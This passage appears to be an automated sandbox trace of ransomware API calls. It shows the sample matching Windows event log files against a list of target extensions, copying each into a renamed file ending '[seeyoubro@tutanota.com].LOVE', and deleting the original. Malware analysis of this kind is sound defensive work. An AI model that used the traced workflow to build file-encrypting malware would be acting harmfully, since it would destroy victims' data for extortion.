lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0202.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.992] lstrlenW (lpString=".1cd") returned 4 [0202.992] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0202.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.992] lstrlenW (lpString=".jpg") returned 4 [0202.992] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0202.992] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0202.993] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45 [0202.993] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0202.993] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0202.993] CloseHandle (hObject=0x2f0) returned 1 [0202.993] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0202.993] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.993] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0202.993] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.993] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.994] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0202.994] GetLastError () returned 0x0 [0202.994] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.026] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.028] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.028] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x12e, lpOverlapped=0x0) returned 1 [0203.028] SetEndOfFile (hFile=0x35c) returned 1 [0203.076] CloseHandle (hObject=0x35c) returned 1 [0203.078] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.078] SetEndOfFile (hFile=0x2f0) returned 1 [0203.080] CloseHandle (hObject=0x2f0) returned 1 [0203.080] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.080] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0203.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.080] lstrlenW (lpString=".doc") returned 4 [0203.080] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.080] lstrlenW (lpString=".docx") returned 5 [0203.080] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.080] lstrlenW (lpString=".pdf") returned 4 [0203.080] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.080] lstrlenW (lpString=".xls") returned 4 [0203.080] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.081] lstrlenW (lpString=".xlsx") returned 5 [0203.081] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.081] lstrlenW (lpString=".ppt") returned 4 [0203.081] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.081] lstrlenW (lpString=".zip") returned 4 [0203.081] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.081] lstrlenW (lpString=".rar") returned 4 [0203.081] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.081] lstrlenW (lpString=".bz2") returned 4 [0203.081] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.081] lstrlenW (lpString=".7z") returned 3 [0203.081] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.081] lstrlenW (lpString=".dbf") returned 4 [0203.081] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.081] lstrlenW (lpString=".1cd") returned 4 [0203.081] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.081] lstrlenW (lpString=".jpg") returned 4 [0203.081] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.081] lstrlenW (lpString=".doc") returned 4 [0203.081] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.081] lstrlenW (lpString=".docx") returned 5 [0203.081] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.081] lstrlenW (lpString=".pdf") returned 4 [0203.081] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.081] lstrlenW (lpString=".xls") returned 4 [0203.082] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.082] lstrlenW (lpString=".xlsx") returned 5 [0203.082] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.082] lstrlenW (lpString=".ppt") returned 4 [0203.082] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.082] lstrlenW (lpString=".zip") returned 4 [0203.082] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.082] lstrlenW (lpString=".rar") returned 4 [0203.082] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.082] lstrlenW (lpString=".bz2") returned 4 [0203.082] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.082] lstrlenW (lpString=".7z") returned 3 [0203.082] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.082] lstrlenW (lpString=".dbf") returned 4 [0203.082] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.082] lstrlenW (lpString=".1cd") returned 4 [0203.082] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0203.082] lstrlenW (lpString=".jpg") returned 4 [0203.082] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.082] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.082] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57 [0203.082] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0203.083] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0203.083] CloseHandle (hObject=0x2f0) returned 1 [0203.083] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0203.083] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.083] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0203.083] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.083] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.083] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0203.083] GetLastError () returned 0x0 [0203.083] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.156] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.160] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.160] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x146, lpOverlapped=0x0) returned 1 [0203.160] SetEndOfFile (hFile=0x35c) returned 1 [0203.160] CloseHandle (hObject=0x35c) returned 1 [0203.162] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.162] SetEndOfFile (hFile=0x2f0) returned 1 [0203.164] CloseHandle (hObject=0x2f0) returned 1 [0203.164] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.164] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0203.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.165] lstrlenW (lpString=".doc") returned 4 [0203.165] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.165] lstrlenW (lpString=".docx") returned 5 [0203.165] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.165] lstrlenW (lpString=".pdf") returned 4 [0203.165] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.165] lstrlenW (lpString=".xls") returned 4 [0203.165] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.165] lstrlenW (lpString=".xlsx") returned 5 [0203.165] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.165] lstrlenW (lpString=".ppt") returned 4 [0203.165] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.165] lstrlenW (lpString=".zip") returned 4 [0203.165] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.165] lstrlenW (lpString=".rar") returned 4 [0203.165] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.165] lstrlenW (lpString=".bz2") returned 4 [0203.165] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.165] lstrlenW (lpString=".7z") returned 3 [0203.165] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.165] lstrlenW (lpString=".dbf") returned 4 [0203.165] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.165] lstrlenW (lpString=".1cd") returned 4 [0203.165] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.165] lstrlenW (lpString=".jpg") returned 4 [0203.165] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.166] lstrlenW (lpString=".doc") returned 4 [0203.166] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.166] lstrlenW (lpString=".docx") returned 5 [0203.166] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.166] lstrlenW (lpString=".pdf") returned 4 [0203.166] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.166] lstrlenW (lpString=".xls") returned 4 [0203.166] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.166] lstrlenW (lpString=".xlsx") returned 5 [0203.166] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.166] lstrlenW (lpString=".ppt") returned 4 [0203.166] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.166] lstrlenW (lpString=".zip") returned 4 [0203.166] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.166] lstrlenW (lpString=".rar") returned 4 [0203.166] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.166] lstrlenW (lpString=".bz2") returned 4 [0203.166] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.166] lstrlenW (lpString=".7z") returned 3 [0203.166] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.166] lstrlenW (lpString=".dbf") returned 4 [0203.166] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.166] lstrlenW (lpString=".1cd") returned 4 [0203.166] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0203.167] lstrlenW (lpString=".jpg") returned 4 [0203.167] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.167] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.167] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46 [0203.167] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0203.167] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0203.167] CloseHandle (hObject=0x2f0) returned 1 [0203.167] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0203.167] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.167] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0203.168] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.168] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.168] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0203.168] GetLastError () returned 0x0 [0203.168] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.217] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.219] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.219] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x130, lpOverlapped=0x0) returned 1 [0203.219] SetEndOfFile (hFile=0x35c) returned 1 [0203.219] CloseHandle (hObject=0x35c) returned 1 [0203.221] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.221] SetEndOfFile (hFile=0x2f0) returned 1 [0203.231] CloseHandle (hObject=0x2f0) returned 1 [0203.231] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.231] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0203.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.232] lstrlenW (lpString=".doc") returned 4 [0203.232] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.232] lstrlenW (lpString=".docx") returned 5 [0203.232] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.232] lstrlenW (lpString=".pdf") returned 4 [0203.232] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.232] lstrlenW (lpString=".xls") returned 4 [0203.232] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.232] lstrlenW (lpString=".xlsx") returned 5 [0203.232] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.232] lstrlenW (lpString=".ppt") returned 4 [0203.232] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.232] lstrlenW (lpString=".zip") returned 4 [0203.232] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.232] lstrlenW (lpString=".rar") returned 4 [0203.232] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.232] lstrlenW (lpString=".bz2") returned 4 [0203.232] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.233] lstrlenW (lpString=".7z") returned 3 [0203.233] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.233] lstrlenW (lpString=".dbf") returned 4 [0203.233] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.233] lstrlenW (lpString=".1cd") returned 4 [0203.233] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.233] lstrlenW (lpString=".jpg") returned 4 [0203.233] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.233] lstrlenW (lpString=".doc") returned 4 [0203.233] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.233] lstrlenW (lpString=".docx") returned 5 [0203.233] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.233] lstrlenW (lpString=".pdf") returned 4 [0203.233] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.233] lstrlenW (lpString=".xls") returned 4 [0203.233] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.233] lstrlenW (lpString=".xlsx") returned 5 [0203.233] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.233] lstrlenW (lpString=".ppt") returned 4 [0203.233] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.233] lstrlenW (lpString=".zip") returned 4 [0203.233] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.233] lstrlenW (lpString=".rar") returned 4 [0203.233] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.233] lstrlenW (lpString=".bz2") returned 4 [0203.234] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.234] lstrlenW (lpString=".7z") returned 3 [0203.234] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.234] lstrlenW (lpString=".dbf") returned 4 [0203.234] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.234] lstrlenW (lpString=".1cd") returned 4 [0203.234] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0203.234] lstrlenW (lpString=".jpg") returned 4 [0203.234] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.234] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.234] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42 [0203.234] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0203.234] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0203.234] CloseHandle (hObject=0x2f0) returned 1 [0203.234] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0203.235] GetFileAttributesW 